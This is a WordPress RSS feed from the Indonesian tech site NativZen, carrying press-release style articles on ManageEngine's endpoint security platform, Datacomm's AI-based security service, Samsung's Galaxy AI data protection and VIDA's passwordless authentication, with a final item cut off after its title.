<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>keamanan &#8211; NativZen</title>
	<atom:link href="https://nativzen.com/tag/keamanan/feed/" rel="self" type="application/rss+xml" />
	<link>https://nativzen.com</link>
	<description>Berita gadget dan teknologi terbaru</description>
	<lastBuildDate>Tue, 31 Mar 2026 07:05:45 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>

<image>
	<url>https://nativzen.com/wp-content/uploads/2025/02/cropped-NZ_icon_no_BG-32x32.png</url>
	<title>keamanan &#8211; NativZen</title>
	<link>https://nativzen.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>ManageEngine Umumkan Pengembangan Endpoint Central</title>
		<link>https://nativzen.com/2026/03/31/manageengine-umumkan-pengembangan-endpoint-central/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Tue, 31 Mar 2026 07:05:39 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[endpoint central]]></category>
		<category><![CDATA[keamanan]]></category>
		<category><![CDATA[manageengine]]></category>
		<category><![CDATA[security]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=27655</guid>

					<description><![CDATA[Sistem yang dikembangkan untuk mengelola dan mengamankan seluruh perangkat kerja karyawan dari satu tempat.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> <strong>&#8211; </strong><a href="https://www.manageengine.com/?edr-pr" target="_blank" rel="noreferrer noopener">ManageEngine</a>, bagian dari Zoho Corporation dan salah satu penyedia solusi manajemen TI untuk perusahaan terkemuka di dunia telah mengumumkan pengembangan platform <a href="https://www.manageengine.com/products/desktop-central/?edr_pr" target="_blank" rel="noreferrer noopener">Endpoint Central</a>.</p>



<p>Ini adalah sebuah sistem untuk mengelola dan mengamankan seluruh perangkat kerja karyawan dari satu tempat, dengan menambahkan kemampuan untuk mendeteksi dan langsung menangani ancaman di perangkat secara otomatis (endpoint detection and response/EDR). </p>



<p>Sistem ini bisa mengenali aktivitas mencurigakan lalu menghentikannya sebelum menyebar, serta fitur akses privat yang lebih aman (secure private access), di mana setiap perangkat harus diverifikasi dulu keamanannya sebelum bisa masuk ke sistem perusahaan alias Zero Trust.</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="683" src="https://nativzen.com/wp-content/uploads/2026/03/Images1-1024x683.jpeg" alt="" class="wp-image-27657" srcset="https://nativzen.com/wp-content/uploads/2026/03/Images1-1024x683.jpeg 1024w, https://nativzen.com/wp-content/uploads/2026/03/Images1-300x200.jpeg 300w, https://nativzen.com/wp-content/uploads/2026/03/Images1-768x512.jpeg 768w, https://nativzen.com/wp-content/uploads/2026/03/Images1-1536x1024.jpeg 1536w, https://nativzen.com/wp-content/uploads/2026/03/Images1-370x247.jpeg 370w, https://nativzen.com/wp-content/uploads/2026/03/Images1-270x180.jpeg 270w, https://nativzen.com/wp-content/uploads/2026/03/Images1-570x380.jpeg 570w, https://nativzen.com/wp-content/uploads/2026/03/Images1-740x493.jpeg 740w, https://nativzen.com/wp-content/uploads/2026/03/Images1.jpeg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Di tengah percepatan digitalisasi di Indonesia, ancaman siber juga meningkat tajam. <a href="https://kalbar.kemenkum.go.id/berita-utama/kemenkum-ri-gelar-sosialisasi-spbe-waspada-3-64-miliar-serangan-siber-di-2025" target="_blank" rel="noreferrer noopener">Data dari Badan Siber dan Sandi Negara mencatat bahwa sepanjang Januari hingga Juli 2025 terdapat lebih dari 3,64 miliar anomali trafik atau aktivitas serangan siber di Indonesia</a>. </p>



<p>Angka ini menunjukkan skala ancaman yang semakin besar, seiring meningkatnya ketergantungan perusahaan pada sistem digital dan perangkat kerja. Ancaman ini juga terus berkembang, tidak hanya dari sisi jumlah tetapi juga kompleksitas. </p>



<p>Serangan seperti malware, akses tidak sah, hingga ransomware kini semakin sering menargetkan perangkat kerja, mulai dari laptop, perangkat mobile, hingga workstation yang digunakan sehari-hari oleh karyawan, dan berpotensi langsung mengganggu operasional bisnis.</p>



<p>Seiring perusahaan yang harus mengelola karyawan yang bekerja dari berbagai lokasi dan menggunakan banyak jenis perangkat, kini menjadi pusat operasional IT sekaligus titik paling sering menjadi target serangan. </p>



<p>Namun, masih banyak organisasi yang menggunakan tools terpisah untuk mengelola perangkat, melindungi dari ancaman, dan mengatur akses jarak jauh. Akibatnya, sistem jadi lebih rumit dan berisiko. </p>



<p>Di sisi lain, pelaku serangan kini juga memanfaatkan AI untuk membuat serangan yang lebih canggih dan masif, termasuk ransomware. Sementara itu, model akses lama berbasis VPN justru menambah risiko karena biasanya langsung memberikan akses luas ke jaringan setelah login berhasil. </p>



<p>Karena itu, banyak perusahaan mulai beralih ke platform terpadu yang menggabungkan manajemen perangkat, keamanan, dan kontrol akses berbasis Zero Trust dalam satu sistem berbasis AI, untuk mengurangi kompleksitas sekaligus meningkatkan ketahanan terhadap serangan.</p>



<p>“Keamanan endpoint sekarang adalah soal kecepatan. Perusahaan harus bisa mendeteksi dan menghentikan ancaman lebih cepat, sambil memastikan akses ke aplikasi internal tetap aman meskipun kredensial sudah bocor,” ujar Chirag Mehta, Vice President and Principal Analyst at Constellation Research. </p>



<p>Ditambahkan oleh Mehta bahwa menggabungkan EDR dengan kontrol akses berbasis kepercayaan perangkat sangat membantu mengurangi waktu penyerang berada di sistem dan membatasi dampaknya.</p>



<p>Dengan mengintegrasikan <a href="https://mnge.it/Edr?edr_pr" target="_blank" rel="noreferrer noopener">EDR</a> dan <a href="https://mnge.it/Spa?edr_pr" target="_blank" rel="noreferrer noopener">Secure Private Access</a> ke dalam Endpoint Central, ManageEngine menyatukan deteksi ancaman, respons, dan kontrol akses dalam satu platform yang dibangun secara native.</p>



<p>Artinya semua fitur ini memang dibuat dari awal dalam satu sistem yang sama, bukan hasil gabungan atau tempelan dari berbagai tools berbeda, sehingga lebih terintegrasi, stabil, dan mudah digunakan. </p>



<p>Ini memungkinkan tim IT dan keamanan yang ada di dalam perusahaan tersebut dapat bekerja dari satu sumber data yang sama, sehingga deteksi lintas sistem dan proses investigasi bisa dilakukan lebih cepat.</p>



<p>Selain itu, tindakan perbaikan seperti update keamanan (patching) dan penguatan konfigurasi juga bisa langsung dilakukan dari sistem yang sama. Endpoint Central menggunakan satu aplikasi kecil yang dipasang di setiap perangkat dan satu dashboard utama terpusat.</p>



<p>“Seiring karyawan kini bekerja dari berbagai lokasi, tidak hanya di kantor, tapi juga dari rumah, luar kota, atau saat mobile, serta menggunakan beragam perangkat kerja yang berbeda-beda, endpoint kini menjadi titik utama untuk deteksi ancaman sekaligus kontrol akses,” kata Mathivanan Venkatachalam, Vice President at ManageEngine.</p>



<p><strong>Kemampuan Utama</strong></p>



<p>Pengembangan ini memperluas peran Endpoint Central sebagai platform terpadu untuk manajemen dan keamanan endpoint dengan kemampuan deteksi, respons, dan kontrol akses yang lebih canggih:</p>



<ul>
<li><strong>Visibilitas mendalam dan investigasi serangan:</strong> Memberikan gambaran lengkap aktivitas endpoint, mulai dari proses, file, registry, hingga jaringan serta membantu melacak pergerakan penyerang untuk mempercepat investigasi</li>



<li><strong>Deteksi ancaman berbasis AI:</strong> Mengidentifikasi ancaman canggih termasuk <em>malware </em>tanpa file dan teknik yang sulit terdeteksi, sehingga dapat dicegah lebih awal</li>



<li><strong>Respons terpadu dan pemulihan ransomware:</strong> Mengisolasi perangkat terinfeksi, menghentikan proses berbahaya, memulihkan file yang terenkripsi, serta melakukan <em>patch </em>untuk menutup celah keamanan</li>



<li><strong>Investigasi berbantuan AI:</strong> Membantu tim keamanan memahami pola serangan dan mempercepat analisis ancaman</li>



<li><strong>Akses privat berbasis konteks:</strong> Memberikan akses aman ke aplikasi internal berdasarkan identitas dan kondisi perangkat pada setiap permintaan akses</li>
</ul>



<p>Endpoint Central juga terus mendapatkan pengakuan dari berbagai lembaga independen. Kemampuan perlindungan malware-nya meraih sertifikasi dari <a href="https://mnge.it/av-comparatives?edr_pr" target="_blank" rel="noreferrer noopener">AV-Comparatives’ Approved Business Product</a> dengan dampak minimal terhadap performa sistem. </p>



<p>Selain itu, <a href="https://mnge.it/analyst-report?edr_pr" target="_blank" rel="noreferrer noopener">ManageEngine</a> juga diakui dalam laporan Gartner® Magic Quadrant<img src="https://s.w.org/images/core/emoji/15.0.3/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 2026 sebagai Challenger, serta masuk dalam  IDC MarketScape: Worldwide Unified Endpoint Management Software 2025–2026 Vendor Assessment sebagai Leader.</p>



<p>Tak hanya itu, ManageEngine juga berhasil dan menjadi satu-satunya vendor penyedia solusi manajemen TI yang telah menyabet predikat Customers’ Choice di Gartner Peer Insights 2025 untuk kategori Endpoint Management.</p>



<p>Dengan pendekatan ini, ManageEngine menghadirkan solusi yang tidak hanya canggih secara teknologi, tetapi juga relevan bagi perusahaan di Indonesia yang tengah menghadapi tantangan keamanan di era kerja hybrid dan transformasi digital.&nbsp;</p>



<p><strong>Harga &amp; Ketersediaan</strong></p>



<p>Bagi perusahaan yang tertarik menggunakannya, fitur-fitur ini sudah tersedia sekarang dan bisa digunakan sebagai tambahan (add-on) untuk Endpoint Central. Untuk informasi lebih lanjut atau mencoba gratis, kunjungi: <a href="https://www.manageengine.com/products/desktop-central/free-trial.html?edr_pr" target="_blank" rel="noreferrer noopener">https://mnge.it/EDR</a> </p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Ancaman Siber Kian Canggih, Saatnya Beralih ke Keamanan Berbasis AI</title>
		<link>https://nativzen.com/2025/07/31/ancaman-siber-kian-canggih-saatnya-beralih-ke-keamanan-berbasis-ai/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Wed, 30 Jul 2025 23:27:14 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[berbasis ai]]></category>
		<category><![CDATA[cyber security]]></category>
		<category><![CDATA[datacomm]]></category>
		<category><![CDATA[keamanan]]></category>
		<category><![CDATA[teknologi ai]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=21060</guid>

					<description><![CDATA[Ancaman siber kini berkembang layaknya entitas hidup—belajar, beradaptasi, dan menyerang secara masif dan presisi.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Di tengah lanskap digital yang kian kompleks dan dinamis, ancaman siber tak lagi sekadar persoalan teknis IT. Semakin canggih, serangan kini mampu menyasar ke ranah sosial dan psikologis manusia.</p>



<p>Menanggapi eskalasi ini, PT Datacomm Diangraha mendorong percepatan adopsi sistem keamanan yang cerdas, adaptif, dan ditopang oleh kecerdasan buatan atau Artificial Intelligence (AI-driven security solutions), baik di sektor bisnis maupun sektor publik.</p>



<p>Berdasarkan laporan&nbsp;Lanskap Keamanan Siber 2024&nbsp;dari Badan Siber dan Sandi Negara (BSSN), pada 2025 ancaman siber diproyeksikan akan terbagi ke dalam dua kategori utama: serangan sosial dan serangan teknis. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="445" src="https://nativzen.com/wp-content/uploads/2025/07/Ilustrasi-DTrust-AI-Security-2-1024x445.jpg" alt="" class="wp-image-21064" srcset="https://nativzen.com/wp-content/uploads/2025/07/Ilustrasi-DTrust-AI-Security-2-1024x445.jpg 1024w, https://nativzen.com/wp-content/uploads/2025/07/Ilustrasi-DTrust-AI-Security-2-300x130.jpg 300w, https://nativzen.com/wp-content/uploads/2025/07/Ilustrasi-DTrust-AI-Security-2-768x334.jpg 768w, https://nativzen.com/wp-content/uploads/2025/07/Ilustrasi-DTrust-AI-Security-2-1536x667.jpg 1536w, https://nativzen.com/wp-content/uploads/2025/07/Ilustrasi-DTrust-AI-Security-2-2048x890.jpg 2048w, https://nativzen.com/wp-content/uploads/2025/07/Ilustrasi-DTrust-AI-Security-2-370x161.jpg 370w, https://nativzen.com/wp-content/uploads/2025/07/Ilustrasi-DTrust-AI-Security-2-270x117.jpg 270w, https://nativzen.com/wp-content/uploads/2025/07/Ilustrasi-DTrust-AI-Security-2-570x248.jpg 570w, https://nativzen.com/wp-content/uploads/2025/07/Ilustrasi-DTrust-AI-Security-2-740x321.jpg 740w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Masing-masing memerlukan pendekatan berbeda, namun AI bisa menjadi solusi untuk keduanya. Serangan sosial atau dikenal dengan&nbsp;<em>social engineering</em>, tak kalah berbahaya dari serangan digital konvensional. </p>



<p>Modusnya beragam: penipuan online, konten pornografi, judi online, hingga disinformasi. Semuanya menyasar celah paling rentan, yaitu, emosi dan kepercayaan manusia. Terlebih lagi, penggunaan AI dalam penyebaran konten deepfake memperparah eskalasi ancaman ini.</p>



<p>World Economic Forum bahkan menempatkan disinformasi sebagai salah satu risiko global jangka pendek paling serius tahun ini. Di Indonesia, Kementerian Komunikasi dan Digital mencatat lebih dari 10 juta konten negatif telah ditangani sepanjang 2024. </p>



<p>Mayoritasnya berisi penipuan, judi, dan pelanggaran hak cipta. Dari sisi teknis, ancaman berkembang pesat. BSSN mencatat bahwa jenis serangan seperti web defacement, phishing, malware adaptif, dan serangan berbasis AI lainnya, semakin meningkat secara signifikan.</p>



<p>Teknologi AI kini digunakan oleh Threat Actor untuk menciptakan malware yang belajar dari perilaku sistem, serangan DDoS yang menyesuaikan pola secara real-time, hingga ransomware yang secara otomatis memilih target paling rentan.</p>



<p>“Ancaman siber kini berkembang layaknya entitas hidup—belajar, beradaptasi, dan menyerang secara masif dan presisi,&#8221; ujar Muhammad Haikal Azaim, Cybersecurity Operations and Detection Manager, PT Datacomm Diangraha.</p>



<p>Ia menambahkan bahwa teknologi AI bahkan dimanfaatkan oleh threat actor untuk menciptakan serangan yang dinamis dan sulit dideteksi. Untuk mengimbanginya, organisasi harus beralih ke sistem keamanan berbasis AI yang mampu merespons secara cepat dan cerdas.</p>



<p>Laporan global dari Team8 yang membuktikan kekhawatiran tersebut. Satu dari empat CISO (Chief Information Security Officer) mengaku telah mengalami serangan siber berbasis AI dalam satu tahun terakhir.</p>



<p>Angka tersebut kemungkinan masih di bawah angka riil, karena sebagian besar ancaman AI meniru perilaku manusia dan hanya bisa dideteksi dengan&nbsp;advanced metrics, seperti&nbsp;time to exploitation&nbsp;dan&nbsp;velocity indicators.</p>



<h3 class="wp-block-heading"><strong>AI sebagai Pilar Baru Pertahanan Siber</strong></h3>



<p>DTrust dari PT Datacomm Diangraha merupakan unit Managed Security Service Provider berbasis cloud. Sebagai solusi keamanan, DTrust menawarkan perlindungan sistem berbasis AI untuk menjawab tantangan&nbsp;social engineering. </p>



<p>Teknologi yang ditawarkan DTrust mampu:</p>



<ul>
<li>Mendeteksi, mengantisipasi, dan merespons ancaman secara real-time</li>



<li>Mengidentifikasi pola scam dan phishing dengan akurasi tinggi</li>



<li>Melindungi reputasi dari serangan berbasis manipulasi sosial</li>



<li>Mengotomatiskan pemulihan sistem dan isolasi ancaman dalam hitungan detik</li>
</ul>



<p>Tak hanya sampai di situ, DTrust juga telah menyiapkan program edukasi dan pelatihan untuk membekali sejumlah organisasi di Tanah Air dalam menghadapi ancaman siber berbasis rekaya sosial.</p>



<p>“Keamanan siber berbasis Artificial Intelligence bukan lagi sekadar opsi, tetapi kebutuhan strategis untuk menghadapi ancaman yang semakin kompleks dan cepat,&#8221; tambah Muhammad Haikal Azaim.</p>



<h3 class="wp-block-heading"><strong>Tiga Langkah Mendesak</strong></h3>



<p>Menyikapi tren ini, PT Datacomm Diangraha mendorong organisasi di seluruh Indonesia untuk segera:</p>



<ol>
<li>Beralih ke sistem keamanan siber berbasis AI</li>



<li>Meningkatkan kesadaran keamanan digital di tingkat individu maupun organisasi</li>



<li>Menyusun kebijakan keamanan yang menyentuh aspek sosial, teknis, dan&nbsp;operasional secara menyeluruh</li>
</ol>



<p>Dengan strategi yang tepat, tentu saja keamanan tak hanya menjadi benteng pertahanan, tapi juga menjadi sebuah keunggulan kompetitif di era digital yang kini semakin rentan dengan beragam banyaknya ancaman.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Inilah Teknologi yang Amankan Pengalaman Galaxy AI</title>
		<link>https://nativzen.com/2025/07/22/inilah-teknologi-yang-amankan-pengalaman-galaxy-ai/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Tue, 22 Jul 2025 06:43:23 +0000</pubDate>
				<category><![CDATA[APPS]]></category>
		<category><![CDATA[galaxy ai]]></category>
		<category><![CDATA[keamanan]]></category>
		<category><![CDATA[samsung]]></category>
		<category><![CDATA[samsung knox]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=20839</guid>

					<description><![CDATA[Personal Data Engine dan Knox Enhanced Encrypted Protection menganalisis dan mengamankan data untuk keamanan AI yang makin mutakhir.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Potensi AI tidak terbatas, namun untuk benar-benar membuka potensi penuh dari kemampuannya, input pengguna untuk menjadi dasar pengalaman yang dipersonalisasi sangatlah penting. </p>



<p>Oleh karena itu, AI perlu memahami kamu — preferensi dan rutinitas kamu — agar dapat memberikan pengalaman mobile yang lebih optimal sehingga menjadi perpanjangan alami dari aktivitas sehari-hari kamu.</p>



<p>Fitur Galaxy AI yang intuitif dan peka terhadap konteks menghadirkan pengalaman yang dipersonalisasi, mengubah smartphone yang kamu pakai dari sekadar alat menjadi pendamping cerdas yang memahami kebutuhan.</p>



<p>Galaxy AI yang terus dikembangkan oleh Samsung, dan tersedia secara utuh di dalam perangkat Samsung Galaxy terkini menawarkan saran-saran yang dirancang untuk membuat hidup kamu lebih produktif, kreatif, dan terhubung.</p>



<p>Untuk memberikan pengalaman yang sepenuhnya personal, perangkat kamu tentu perlu memiliki akses ke sejumlah data. Inilah yang memungkinkan AI memahami kamu dan menyesuaikan responsnya agar benar-benar membantu dan sesuai dengan gaya hidup. </p>



<p>Sementara itu, untuk memastikan semua data pribadi kamu terlindungi di era AI ini, Samsung pun terus berinovasi dalam perlindungan data di perangkat yang kamu gunakan, sehingga tidak jatuh ke tangan yang salah.</p>



<h3 class="wp-block-heading"><strong>Personalisasi yang Diwujudkan Lewat Personal Data Engine</strong></h3>



<p>Personal Data Engine (PDE) yang dikembangkan oleh Samsung merupakan komponen utama dalam menghadirkan pengalaman yang sangat personal dengan aman. Untuk pertama kali, PDE diperkenalkan oleh Samsung pada seri Galaxy S25.</p>



<p>PDE merupakan kekuatan utama di balik pengalaman AI Galaxy yang mampu mengubah hidup penggunanya. Bekerja secara diam-diam di balik layar untuk mempelajari kebiasaan dan preferensi kamu, untuk menghadirkan pengalaman yang benar-benar unik dan personal.</p>



<p>Mulai dari Now Brief yang memandu kamu menjalani hari dengan pembaruan terkurasi atau sekadar menemukan satu foto yang sempurna di Galeri hanya dengan input bahasa alami, Galaxy AI membuat setiap tindakan yang didukung AI terasa mulus. </p>



<p>Dan karena PDE dengan aman memproses data kamu di perangkat yang digunakan, kamu pun dapat menikmati semua manfaat AI yang sangat disesuaikan. Tentu saja, semua itu berjalan tanpa mengorbankan privasi.</p>



<h3 class="wp-block-heading"><strong>Kemajuan yang Kuat Dengan Knox Enhanced Encrypted Protection</strong></h3>



<p>Untuk lebih memperkuat keamanan pengalaman Galaxy AI, Samsung mengembangkan Knox Enhanced Encrypted Protection (KEEP). Ini adalah lapisan keamanan baru yang canggih di perangkat yang melindungi data paling sensitive milik kamu tanpa mengganggu pengalaman.</p>



<p>Pertama kali dikembangkan untuk PDE, KEEP kini juga melindungi fitur Galaxy AI lainnya seperti Smart Suggestions, Now Brief, Samsung Moments, dan lainnya, dengan bekerja diam-diam di latar belakang untuk memastikan bahwa setiap aplikasi yang didukung tetap aman.</p>



<p>Anggap ponsel kamu seperti rumah. Setiap aplikasi memiliki ruangannya sendiri — terpisah, tetapi semuanya berada di bawah atap yang sama. Lalu, ada Secure Folder, yang berfungsi layaknya guest house dengan kuncinya sendiri, terpisah dari rumah utama. </p>



<p>Fitur ini sangat bagus untuk menjaga privasi beberapa hal, terutama saat kamu menginginkan isolasi total dari perangkat lainnya. Namun, seiring fitur AI seperti PDE mulai menangani tugas-tugas sensitive secara real time, dibutuhkan sistem keamanan yang sama kuatnya.</p>



<p>Di sinilah KEEP berperan. Bayangkan kamu mengubah sebagian rumah menjadi private suite — masih di bawah atap yang sama, tetapi dengan pintu masuk yang aman karena hanya dapat diakses oleh kamu. </p>



<p>Kamar ini lebih privat daripada kamar biasa, tetapi tidak sepenuhnya terpisah seperti guest house. KEEP bekerja dengan cara yang sama: ia menciptakan ruang khusus yang aman untuk aplikasi-aplikasi tertentu — seperti PDE — sehingga dapat mengelola data kamu dengan aman.</p>



<p>Seiring dengan semakin cerdasnya mobile experience kita, KEEP memastikan data pribadi kamu tetap aman dari desainnya. Bersama fitur seperti Secure Folder, hal ini memperkuat pendekatan berlapis Samsung dalam melindungi data alias memberikan jenis keamanan yang tepat.</p>



<p>Dengan Galaxy AI yang semakin personal, fitur-fitur seperti Personal Data Engine dan Knox Enhanced Encrypted Protection menetapkan standar baru untuk mobile intelligence — di mana personalisasi dan privasi berjalan beriringan. </p>



<p>Saat pengalaman semakin cerdas dan selaras dengan kebutuhan, kamu pun bisa lebih tenang karena informasi yang paling sensitif akan tetap aman di perangkat yang digunakan, tepat di tempatnya.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>VIDA Ajak Indonesia Beralih ke Otentikasi Tanpa Password</title>
		<link>https://nativzen.com/2025/06/30/vida-ajak-indonesia-beralih-ke-otentikasi-tanpa-password/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Mon, 30 Jun 2025 09:22:17 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[keamanan]]></category>
		<category><![CDATA[keamanan data]]></category>
		<category><![CDATA[otentikasi]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[vida]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=20176</guid>

					<description><![CDATA[Penggunaan password secara kurang bijak turut berkontribusi pada meningkatnya intensitas serangan penipuan digital.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Baru-baru ini, publik dikejutkan oleh laporan Cybernews yang menyebutkan kebocoran 16 miliar password. Ini angka yang melampaui rekor Compilation of Many Breaches (COMB) dengan 10 miliar kredensial pada Juli 2024. </p>



<p>Meski tidak berasal dari insiden kebocoran baru, penyedia solusi identitas digital VIDA menilai bahwa fenomena ini tetap menjadi pengingat pentingnya perlindungan data pribadi di era serba digital dan modern ini.</p>



<p>“Kredensial adalah lapisan pertama yang harus dilindungi. Sayangnya, banyak pengguna belum menyadari bahwa kebocoran sekecil apa pun dapat membuka celah bagi serangan siber yang merugikan secara finansial maupun emosional. ujar Niki Luhur, Founder dan Group CEO VIDA.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="681" src="https://nativzen.com/wp-content/uploads/2025/06/Foto-Siaran-Pers-Marak-Isu-Kebocoran-16-Miliar-Password-VIDA-Ajak-Indonesia-Beralih-ke-Otentikasi-Tanpa-Password-1024x681.jpeg" alt="" class="wp-image-20177" srcset="https://nativzen.com/wp-content/uploads/2025/06/Foto-Siaran-Pers-Marak-Isu-Kebocoran-16-Miliar-Password-VIDA-Ajak-Indonesia-Beralih-ke-Otentikasi-Tanpa-Password-1024x681.jpeg 1024w, https://nativzen.com/wp-content/uploads/2025/06/Foto-Siaran-Pers-Marak-Isu-Kebocoran-16-Miliar-Password-VIDA-Ajak-Indonesia-Beralih-ke-Otentikasi-Tanpa-Password-300x199.jpeg 300w, https://nativzen.com/wp-content/uploads/2025/06/Foto-Siaran-Pers-Marak-Isu-Kebocoran-16-Miliar-Password-VIDA-Ajak-Indonesia-Beralih-ke-Otentikasi-Tanpa-Password-768x511.jpeg 768w, https://nativzen.com/wp-content/uploads/2025/06/Foto-Siaran-Pers-Marak-Isu-Kebocoran-16-Miliar-Password-VIDA-Ajak-Indonesia-Beralih-ke-Otentikasi-Tanpa-Password-1536x1021.jpeg 1536w, https://nativzen.com/wp-content/uploads/2025/06/Foto-Siaran-Pers-Marak-Isu-Kebocoran-16-Miliar-Password-VIDA-Ajak-Indonesia-Beralih-ke-Otentikasi-Tanpa-Password-2048x1362.jpeg 2048w, https://nativzen.com/wp-content/uploads/2025/06/Foto-Siaran-Pers-Marak-Isu-Kebocoran-16-Miliar-Password-VIDA-Ajak-Indonesia-Beralih-ke-Otentikasi-Tanpa-Password-370x246.jpeg 370w, https://nativzen.com/wp-content/uploads/2025/06/Foto-Siaran-Pers-Marak-Isu-Kebocoran-16-Miliar-Password-VIDA-Ajak-Indonesia-Beralih-ke-Otentikasi-Tanpa-Password-270x180.jpeg 270w, https://nativzen.com/wp-content/uploads/2025/06/Foto-Siaran-Pers-Marak-Isu-Kebocoran-16-Miliar-Password-VIDA-Ajak-Indonesia-Beralih-ke-Otentikasi-Tanpa-Password-570x379.jpeg 570w, https://nativzen.com/wp-content/uploads/2025/06/Foto-Siaran-Pers-Marak-Isu-Kebocoran-16-Miliar-Password-VIDA-Ajak-Indonesia-Beralih-ke-Otentikasi-Tanpa-Password-740x492.jpeg 740w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Lebih lanjut, Niki mengatakan bahwa VIDA senantiasa berkomitmen untuk selalu mendampingi para pelaku usaha dan masyarakat luas dalam memberi perlindungan identitas digital yang lebih kuat dan aman.</p>



<p>Penggunaan password secara kurang bijak turut berkontribusi pada meningkatnya intensitas serangan penipuan digital, seperti phishing dan social engineering. Data dari VIDA mengungkap fakta yang mengkhawatirkan, yakni 64% orang masih mendaur ulang password.</p>



<p>Sementara, sebesar 80% kebocoran data berawal dari password yang lemah, digunakan ulang, atau dicuri. Menariknya lagi, pada tahun 2024, “123456” dan “password” masih menduduki peringkat teratas sebagai password yang paling banyak digunakan masyarakat Indonesia. </p>



<p>Lebih dari itu, password dengan delapan karakter kini dapat dipatahkan dalam waktu kurang dari satu detik. Sementara itu, dampak dari lemahnya perlindungan kredensial pun tercermin jelas dalam maraknya kasus penipuan digital yang terus meningkat. </p>



<p>Dalam kurun waktu November 2024 hingga Mei 2025, Otoritas Jasa Keuangan (OJK) bersama Indonesia Anti-Scam Center (IASC) menerima 135.397 laporan kasus penipuan digital di sektor keuangan, dengan total kerugian yang dilaporkan mencapai Rp2,6T. </p>



<p>Melihat data tersebut, VIDA mendorong masyarakat untuk lebih waspada dalam menjaga keamanan digital, dimulai dari pemilihan dan pengelolaan password yang tepat. Gunakan kombinasi huruf besar, huruf kecil, angka, dan simbol dengan panjang minimal 24 karakter.</p>



<p>Selain itu, ubah setiap 90 hari, dan hindari penggunaan password yang sama di berbagai akun. Lapisan perlindungan tambahan juga dapat diperkuat dengan mengaktifkan autentikasi dua faktor (2FA) pada aplikasi dan perangkat.</p>



<p>Sebagai bagian dari komitmen dalam membangun ekosistem digital yang lebih aman, VIDA tidak hanya fokus pada peningkatan awareness konsumen terhadap keamanan digital, tetapi juga mengedepankan pendekatan menyeluruh, mencakup penyediaan solusi bagi pelaku industri. </p>



<p>Salah satu solusi keamanan digital yang dihadirkan adalah VIDA FaceToken, teknologi berbasis biometrik yang menggabungkan face matching, liveness detection, dan device authentication dalam satu proses yang aman dan seamless. </p>



<p>Teknologi ini memastikan hanya pengguna asli yang dapat mengakses akun atau melakukan transaksi, serta memberikan perlindungan. Berbeda dengan password yang rentan terhadap phishing, FaceToken tidak memerlukan kode atau informasi yang mudah disadap.</p>



<p>Keamanan dari inovasi FaceToken juga telah teruji dan mendapat sertifikasi iBeta Level 2 untuk teknologi liveness detection, menjadikan VIDA sebagai penyedia identitas digital pertama di Indonesia yang meraih pengakuan ini. </p>



<p>Capaian ini sekaligus menegaskan komitmen VIDA dalam menghadirkan solusi keamanan digital berstandar global yang lebih modern untuk menjawab tantangan dunia siber yang terus berkembang.</p>



<p>Tak berhenti di sana, VIDA juga menghadirkan VIDA PhoneToken. Ini merupakan teknologi autentikasi berbasis perangkat yang memanfaatkan Public Key Infrastructure (PKI) untuk menjamin keaslian transaksi digital. </p>



<p>Setiap perangkat dikaitkan langsung dengan identitas pengguna, memastikan hanya perangkat terdaftar yang dapat digunakan untuk login atau transaksi. Dengan metode ini, proses autentikasi tidak lagi bergantung pada OTP berbasis SMS yang rawan disadap.</p>



<p>Kombinasi VIDA PhoneToken dan FaceToken mampu menghadirkan perlindungan berlapis. Jika perangkat dicuri, seluruh akses tetap membutuhkan verifikasi biometrik, sehingga data dan transaksi tetap aman.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Begini Tips Praktis Memaksimalkan Keamanan dan Privasi di Galaxy S25 Series</title>
		<link>https://nativzen.com/2025/05/20/begini-tips-praktis-memaksimalkan-keamanan-dan-privasi-di-galaxy-s25-series/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Tue, 20 May 2025 04:20:06 +0000</pubDate>
				<category><![CDATA[HOW TO]]></category>
		<category><![CDATA[galaxy ai]]></category>
